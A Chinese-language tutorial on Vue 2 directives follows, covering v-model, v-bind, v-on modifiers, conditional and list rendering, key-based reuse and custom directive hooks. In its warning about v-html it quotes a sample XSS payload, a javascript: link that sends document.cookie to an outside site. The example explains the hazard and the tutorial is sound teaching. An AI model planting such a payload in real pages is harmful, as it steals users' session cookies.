目录
Vue.directive('color',{bind(el,obj,vnode,oldVnode){}})
new Vue({el:'#app',data:{},directives:{color:{bind(el,obj,vnode,oldVnode){}}})
Vue指令
Vue内部提供的自定义的属性,属性中封装好了Vue内部实现的一些功能,通过这些功能可以实现数据驱动节点更新。然后Vue的指令=后面引号中的环境相当于是data对象中的js环境(但不能在其中运行代码,只能传表达式或数据值),例如v-text='message',便会去data中找message(相当于此时的this=data,但是不能在字符串中使用this),如果想让v-text就等于字符串的message,那么使用v-text="'message'"。然后由于相当于js环境,那么还可以写表达式例如v-text='1+1',那么会先计算出2再返回给v-text。注意Vue选取的区域中,元素中只有带有Vue指令的等号后面引号中的环境才相当于data对象中的js环境。
v-model
用于在表单<input>、<textarea>、<select>元素上创建双向数据绑定其value值。使用方法:通过标签属性中添加v-model='name',其中name为data对象中的属性。显示时,data.name的值会赋值给input.value,同时在输入文本时的值也会赋值给data.name。注意在绑定checkbox类型的input标签(复选框)时,给多个input标签添加属性v-model='group'(group为一个数组),然后给每个标签分别添加不同的value='value1'...,这时的group会按顺序存储勾选了的input标签中的value值(长度为勾选的个数),当更改group数组对应顺序的值为input上设置的value值('value1'),则对应的复选框会被勾选,不为则不会被勾选。当绑定单选框时,给多个input标签添加属性v-model='str'(str为空字符串),然后给每个标签分别添加不同的value='value1'...,当选中其中一个单选框例如属性为value='value1'的,则str='value1',会对应相等,修改str='value2',则value值为'value2'的标签也会对应被勾选。
修饰符
通过在v-model后添加的修饰符,可以链式编写。例如v-model.lazy='fun'。
- (.lazy)- 当输入框失去焦点才同步数据。
- (.number)- 使双向绑定的数据变为数字类型。
- (.trim)- 去除双向绑定的数据中首位的空格(不去中间的)。
v-bind:(:)
用于标签属性绑定数据。使用方法:在标签属性前加v-bind:(v-bind可以省略),例如v-bind:value='name'或表达式,这时会将data.name的值赋值给属性value,注意绑定数据后,可以仍然可以直接给属性赋值,例如:style="'color:red'",style="font-size:100px",此时2条都会生效。:abc='1'拿到的是数字类型的1,不绑定拿到的是字符串的。
修饰符
.sync:通过在绑定的属性后面添加该属性符,可以通过this.$emit('updata:属性名',newValue)更新属性值,只用于绑定在组件标签上,在组件内部通过该方法更新属性值,相当于子组件向父组件传递消息。
//父组件,其中isShow是父组件data中的数据
<comp :visibility.sync="isShow"></comp>
//comp组件中可以通过this.$emit('update:visibility', true)来改变属性visibility的值
//相当于
<comp :show="isShow" @update:show="val => isShow = val"></comp>
绑定属性
name的值可以为对象,比如data:{name:{'size':true','color':false}相当于class="size"。注意:class="['size','color']"相当于class="size color";:class="['size',color?'color' : '']"会去data中查询color是true还是false,当为true时,相当于class="size color",为false相当于class="size";:class="['size',{'active':false}]"相当于class="size"。
绑定样式
例如:style="{color:'red','font-size':'100px'}",注意样式中如果带-符号的也需要用引号裹起来。也可以通过对象绑定,:style=obj,data:{obj:{'color':'red','font-size':'100px'}},和之前效果一样,如果有多个样式对象(同obj一样),要把这些对象中的样式都绑定给标签时,使用数组即可例如:style="[obj1,obj2,...,objn]"即可。
对象和数组的绑定的方式注意点
- 对象的绑定方式,例如我们new vm=Vue({...data{obj:{red:true,blue:true}}}),然后使用:class='obj'相当于class='red blue',然后我们需要再添加一个'yellow'的类名时,使用vm.obj.yellow=true是会被Vue设置的set请求拦截即无法生效,需要通过Vue.set(vm.obj,'yellow',true)。
- 数组的绑定方式,例如我们new vm=Vue({...data{obj:['red','blue']}}),然后使用:class='obj'相当于class='red blue',然后我们还是需要再添加一个'yellow'的类名时,使用数组上的原生方法(改变原数组的方法)即可,例如vm.obj.push('yellow'),这时便能将yellow直接添加到class中。
v-on:(@)
为元素添加绑定事件,可以简写为@,使用方法:例如v-on:click='fun',注意事件名前不用加on,字符串为一个回调函数名,点击时会去vue.methods中查找fun的函数,而不是去data中查找。注意函数可以加圆括号并可以传递参数,例如v-on:click='fun('pyf',$event)',其中'pyf'是自定义的参数,$event是系统传递的事件对象。如果在fun函数体内想使用data中的数据,我们需要通过this.name,name为我们想使用的data中的数据名,不加圆括号时系统会自动给fun函数的第一个参数传递事件对象。v-on:后添加不是系统预设的事件名,相当于自定义事件。
修饰符
通过在事件后面添加括号中的修饰符,可以链式编写。例如@click.stop.prevent='fun',便可以阻止事件冒泡和默认事件。
(.stop)
- 调用event.stopPropagation()
。(.prevent)
- 调用event.preventDefault()
。(.capture)
- 添加事件侦听器时使用 capture 模式(将事件默认的事件冒泡变成事件捕获)。(.self
)
- 只当事件是从侦听器绑定的元素本身触发时才触发回调(即其它元素通过冒泡或捕获触发的事件不会执行,)。(.{keyCode | keyAlias})
- 只当事件是从特定键触发时才触发回调。其中keyAlias是Vue起好的别名,例如enter代表回车键,delete代表删除键,keycode是键位对应的数字。一般搭配keyup和keydown事件使用。例如@keyup.enter='fun',代表按下回车触发fun函数,可以链式编写,代表同时按下2个键。可以通过Vue.config.keyCodes.f1 = 112,自定义按键名,上例为将keycode=112的按键命名为f1,使用时@keyup.f1='fun'即可,下面是keycode链接js键盘按钮keyCode及示例大全 - 我的过去 - 博客园(.native)
- 监听组件根元素的原生事件。(.once
)
- 只触发一次回调。(.left)
- (2.2.0) 只当点击鼠标左键时触发。(.right)
- (2.2.0) 只当点击鼠标右键时触发。(.middle)
- (2.2.0) 只当点击鼠标中键时触发。(.passive)
- (2.3.0) 以{ passive: true }
模式添加侦听器,每次事件产生,浏览器都会去查询是否有preventDefault阻止默认事件,我们加上passive是告诉浏览器,不用查询了,没有使用。这里一般一般用于滚动监听,@scroll、@touchmove。因为滚动监听过程中,移动每个像素都会产生一次事件,每次都使用内核线程查询prevent会使滑动卡顿。我们通过passive将内核线程查询跳过,可以大大提升滑动的流畅度。
v-show
当v-if的值为false时,在行间样式中设置display=none,注意区别v-if,设置的元素是会被创建的。使用方法:v-show='name'或表达式,其中name为data对象中的属性,会隐式调用boolean(data.name)来判断true或false。
v-if
当v-if的值为true时才会渲染该元素(如果为false,该元素不会被创建)。使用方法:v-if='name'或表达式,其中name为data对象中的属性,会隐式调用boolean(data.name)来判断true或false。当Ajax请求异步数据时,如果先创建了节点渲染数据通常会报错,此时可以通过v-if判断,当拿到数据后在创建节点。
v-else
前一兄弟元素必须有 v-if
或 v-else-if
。使用方法:直接添加该属性,不需要表达式。会直接根据前一兄弟元素的v-if
或 v-else-if的值
取反决定是否渲染元素。
v-else-if
前一兄弟元素必须有 v-if
或 v-else-if
。其它同v-if。
v-for
基于源数据多次渲染元素或模板块。使用方法:v-for='(value,index) in name'或'value in name',其中name为data对象中的属性,可以为对象、数组、字符串、数字,name为数字时,会打印从1~数字的值的个数的该标签,name为字符串时需添加"",隐式封装为字符串对象后在调用,标签中使用还是通过{{}}中写入内容。
复用原则导致数据混乱问题
v-for在渲染元素的时候,会先查看缓存中有没有需要渲染的元素,如果缓存中没有需要渲染的元素,就会创建一个新的放到缓存中,如果缓存中有需要渲染的元素,就不会创建一个新的,而是直接复用原先的元素。在Vue中只要数据发送了改变,那么会自动重新渲染。由于以上2点v-for可能导致数据混乱。例如我用v-for循环3个数据对象创建了3个li元素,li中带有input选中框,这时Vue中也有3个li的缓存,将第二个li选中,对应缓存中的第二个也会被选中,当我数据发生变化时(在v-for循环的对象开头添加了一个数据对象),这时Vue中数据改变即重新渲染,v-for循环的4个数据对象,会逐一渲染,前3个是有缓存的,所以会直接复用,创建对应的元素,第4个会创建缓存后创建对应元素,注意由于缓存中第二个是选中的,所以创建的数据对象第二个还是会被选中,而正确的数据要求的是第3个被选中。
解决方法
通过给每个数据对象中添加一个key属性(因为vue复用原则比较的是标签和key属性值是否都相同,只有都相同才会复用),例如key=1,每个数据对象之间的key各不相同,然后使用v-bind:把key的值绑定给每个创建元素的属性上,由于Vue复用时要求元素的属性相同,顾当我们绑定了唯一的key值作为属性时,它便不会再产生数据混乱了,这里注意不要用index索引去赋值给key(因为改变的节点时候,index值会改变了,对应的key也会全部动态改变,这时还是无法解决数据混乱的问题)。
v-text
更新元素的文本节点和插值(通过{{}}的方式)相同(不会解析HTML)。使用方法:v-text='name',其中name为data对象中的属性,将data.name的值替换该元素的innerText。
v-html
更新元素的内容(会解析HTML)。使用方法:v-html='name',其中name为data对象中的属性,将data.name的值替换该元素的innerHTML。注意不要在用户提交的数据中使用,容易导致XSS攻击,例如用户输入<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>click</a>如果渲染到使用界面,其它用户点击了,便会把当前网页上的cookie值提交到它指定的网站上去,例中为http://www.baidu.com。
v-once
只渲染元素和组件一次。随后的重新渲染,元素/组件及其所有的子节点将被视为静态内容并跳过(当data.name中的值发生变化时,页面中的显示数据不会变化)。使用方法:直接添加该属性。
v-clock
当网速过慢时,Vue数据绑定过程第二步迟迟未完成,用于隐藏第一步未绑定的数据的界面。使用方法:直接添加该属性并在css中添加[v-cloak] { display: none }。
v-slot:(#)
见Vue组件化中的slot标签。
https://blog.csdn.net/AIWWY/article/details/116499247
自定义指令
自定义全局指令
Vue.directive('color',{bind(el,obj,vnode,oldVnode){}})
上例为自定义指令v-color,第二个参数为对象或函数,为对象时其中可以包含多个钩子函数,例如bind(el,obj){},el为该指令所绑定的元素(同document.getElementsById()),后3个参数obj,vnode,oldVnode为系统传入的参数,在下面钩子函数参数中介绍,最后想要实现的内容写在钩子函数中。为函数时function(el,obj,vnode,oldVnode){},函数参数意义相同,该函数会在被inserted和update时都会被调用。
自定义局部指令
new Vue({el:'#app',data:{},directives:{color:{bind(el,obj,vnode,oldVnode){}}})
在Vue实例对象中定义,注意directive加s,参数含义同上,只能选中的#app中使用该指令。注意与全局指令重名时只会运行局部指令。
钩子函数
表示在不同的生命周期阶段执行的函数(以下为Vue指令提供的钩子函数)。
bind
:只调用一次,指令第一次绑定到元素时调用。在这里可以进行一次性的初始化设置。inserted
:被绑定元素插入父节点时调用 (仅保证父节点存在,但不一定已被插入文档中)。update
:所在组件的 VNode 更新时调用,但是可能发生在其子 VNode 更新之前。指令的值可能发生了改变,也可能没有。但是你可以通过比较更新前后的值来忽略不必要的模板更新(绑定在此函数中指令会跟随数据变化而动态变化)。componentUpdated
:指令所在组件的 VNode 及其子 VNode 全部更新后调用。unbind
:只调用一次,指令与元素解绑时调用(通常如果指令中监听了事件,需要在这个钩子中取消监听)。
钩子函数参数
Vue指令中钩子函数的参数
el
:指令所绑定的元素,可以用来直接操作 DOM。obj
:一个对象,包含以下 property:name
:指令名,不包括v-
前缀。value
:指令的绑定值,例如:v-my-directive="1 + 1"
中,绑定值为2
。oldValue
:指令绑定的前一个值,仅在update
和componentUpdated
钩子中可用。无论值是否改变都可用。expression
:字符串形式的指令表达式。例如v-my-directive="1 + 1"
中,表达式为"1 + 1"
。arg
:传给指令的参数,可选。例如v-my-directive:foo
中,参数为"foo"
。modifiers
:一个包含修饰符的对象。例如:v-my-directive.foo.bar
中,修饰符对象为{ foo: true, bar: true }
。
vnode
:Vue 编译生成的虚拟节点,可以通过vnode.context拿到当前组件的实例(全局组件则拿到vue实例对象)。移步 VNode API 来了解更多详情。oldVnode
:上一个虚拟节点,仅在update
和componentUpdated
钩子中可用。
具体参数作用实例
<div id="hook-arguments-example" v-demo:foo.a.b="message"></div>
Vue.directive('demo', {
bind: function (el, binding, vnode) {
var s = JSON.stringify
el.innerHTML =
'name: ' + s(binding.name) + '<br>' +
'value: ' + s(binding.value) + '<br>' +
'expression: ' + s(binding.expression) + '<br>' +
'argument: ' + s(binding.arg) + '<br>' +
'modifiers: ' + s(binding.modifiers) + '<br>' +
'vnode keys: ' + Object.keys(vnode).join(', ')
}
})
new Vue({
el: '#hook-arguments-example',
data: {
message: 'hello!'
}
})
输出结果:
name: "demo"
value: "hello!"
expression: "message"
argument: "foo"
modifiers: {"a":true,"b":true}
vnode keys: tag, data, children, text, elm, ns, context, fnContext, fnOptions, fnScopeId, key, componentOptions, componentInstance, parent, raw, isStatic, isRootInsert, isComment, isCloned, isOnce, asyncFactory, asyncMeta, isAsyncPlaceholder